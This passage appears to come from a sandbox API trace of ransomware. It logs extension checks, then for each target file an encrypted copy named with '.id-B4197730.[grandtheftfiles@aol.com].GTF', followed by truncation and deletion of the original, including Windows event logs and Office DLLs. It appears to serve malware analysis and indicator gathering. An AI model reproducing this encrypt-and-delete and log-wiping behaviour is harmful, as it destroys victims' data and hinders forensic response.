	[0082.825] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1
	[0082.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.825] lstrlenW (lpString=".doc") returned 4
	[0082.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".docx") returned 5
	[0082.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.826] lstrlenW (lpString=".pdf") returned 4
	[0082.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".xls") returned 4
	[0082.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".xlsx") returned 5
	[0082.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.826] lstrlenW (lpString=".ppt") returned 4
	[0082.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString=".zip") returned 4
	[0082.826] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".rar") returned 4
	[0082.826] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".bz2") returned 4
	[0082.826] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".7z") returned 3
	[0082.826] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString=".dbf") returned 4
	[0082.826] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString=".1cd") returned 4
	[0082.826] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString=".jpg") returned 4
	[0082.826] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.826] lstrlenW (lpString=".doc") returned 4
	[0082.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.826] lstrlenW (lpString=".docx") returned 5
	[0082.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.826] lstrlenW (lpString=".pdf") returned 4
	[0082.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString=".xls") returned 4
	[0082.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString=".xlsx") returned 5
	[0082.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.827] lstrlenW (lpString=".ppt") returned 4
	[0082.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.827] lstrlenW (lpString=".zip") returned 4
	[0082.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString=".rar") returned 4
	[0082.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString=".bz2") returned 4
	[0082.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString=".7z") returned 3
	[0082.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.827] lstrlenW (lpString=".dbf") returned 4
	[0082.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.827] lstrlenW (lpString=".1cd") returned 4
	[0082.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0082.827] lstrlenW (lpString=".jpg") returned 4
	[0082.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.827] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.827] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66
	[0082.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.830] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0082.830] CloseHandle (hObject=0x2d0) returned 1
	[0082.830] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0082.830] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.830] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0082.830] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.830] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.830] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0082.831] GetLastError () returned 0x0
	[0082.831] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.024] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.026] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.026] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x158, lpOverlapped=0x0) returned 1
	[0083.026] SetEndOfFile (hFile=0x398) returned 1
	[0083.731] CloseHandle (hObject=0x398) returned 1
	[0084.021] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.021] SetEndOfFile (hFile=0x2d0) returned 1
	[0084.070] CloseHandle (hObject=0x2d0) returned 1
	[0084.070] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.720] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString=".doc") returned 4
	[0084.721] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".docx") returned 5
	[0084.721] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.721] lstrlenW (lpString=".pdf") returned 4
	[0084.721] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".xls") returned 4
	[0084.721] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".xlsx") returned 5
	[0084.721] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.721] lstrlenW (lpString=".ppt") returned 4
	[0084.721] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString=".zip") returned 4
	[0084.721] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".rar") returned 4
	[0084.721] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".bz2") returned 4
	[0084.721] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString=".7z") returned 3
	[0084.721] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString=".dbf") returned 4
	[0084.721] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString=".1cd") returned 4
	[0084.721] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.721] lstrlenW (lpString=".jpg") returned 4
	[0084.722] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString=".doc") returned 4
	[0084.722] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".docx") returned 5
	[0084.722] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.722] lstrlenW (lpString=".pdf") returned 4
	[0084.722] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".xls") returned 4
	[0084.722] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".xlsx") returned 5
	[0084.722] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.722] lstrlenW (lpString=".ppt") returned 4
	[0084.722] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString=".zip") returned 4
	[0084.722] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".rar") returned 4
	[0084.722] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".bz2") returned 4
	[0084.722] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString=".7z") returned 3
	[0084.722] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString=".dbf") returned 4
	[0084.722] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString=".1cd") returned 4
	[0084.722] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0084.722] lstrlenW (lpString=".jpg") returned 4
	[0084.722] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.723] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.723] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0084.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.723] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=11616) returned 1
	[0084.723] CloseHandle (hObject=0x368) returned 1
	[0084.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20
	[0084.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.724] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.724] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.725] GetLastError () returned 0x0
	[0084.725] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0084.731] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0084.732] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.732] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.732] SetEndOfFile (hFile=0x380) returned 1
	[0084.733] CloseHandle (hObject=0x380) returned 1
	[0084.733] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.734] SetEndOfFile (hFile=0x368) returned 1
	[0084.734] CloseHandle (hObject=0x368) returned 1
	[0084.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.735] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.735] lstrlenW (lpString=".doc") returned 4
	[0084.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".docx") returned 5
	[0084.735] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.735] lstrlenW (lpString=".pdf") returned 4
	[0084.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".xls") returned 4
	[0084.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".xlsx") returned 5
	[0084.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.735] lstrlenW (lpString=".ppt") returned 4
	[0084.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.735] lstrlenW (lpString=".zip") returned 4
	[0084.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".rar") returned 4
	[0084.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".bz2") returned 4
	[0084.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.735] lstrlenW (lpString=".7z") returned 3
	[0084.736] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".dbf") returned 4
	[0084.736] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".1cd") returned 4
	[0084.736] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".jpg") returned 4
	[0084.736] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".doc") returned 4
	[0084.736] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString=".docx") returned 5
	[0084.736] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.736] lstrlenW (lpString=".pdf") returned 4
	[0084.736] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString=".xls") returned 4
	[0084.736] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString=".xlsx") returned 5
	[0084.736] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.736] lstrlenW (lpString=".ppt") returned 4
	[0084.736] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".zip") returned 4
	[0084.736] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString=".rar") returned 4
	[0084.736] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.736] lstrlenW (lpString=".bz2") returned 4
	[0084.736] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.736] lstrlenW (lpString=".7z") returned 3
	[0084.736] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.736] lstrlenW (lpString=".dbf") returned 4
	[0084.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.737] lstrlenW (lpString=".1cd") returned 4
	[0084.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.737] lstrlenW (lpString=".jpg") returned 4
	[0084.737] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.737] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.737] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0084.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.737] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19648) returned 1
	[0084.737] CloseHandle (hObject=0x368) returned 1
	[0084.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20
	[0084.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.737] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.738] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.738] GetLastError () returned 0x0
	[0084.738] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0084.748] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0084.749] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.749] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.750] SetEndOfFile (hFile=0x380) returned 1
	[0084.750] CloseHandle (hObject=0x380) returned 1
	[0084.751] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.751] SetEndOfFile (hFile=0x368) returned 1
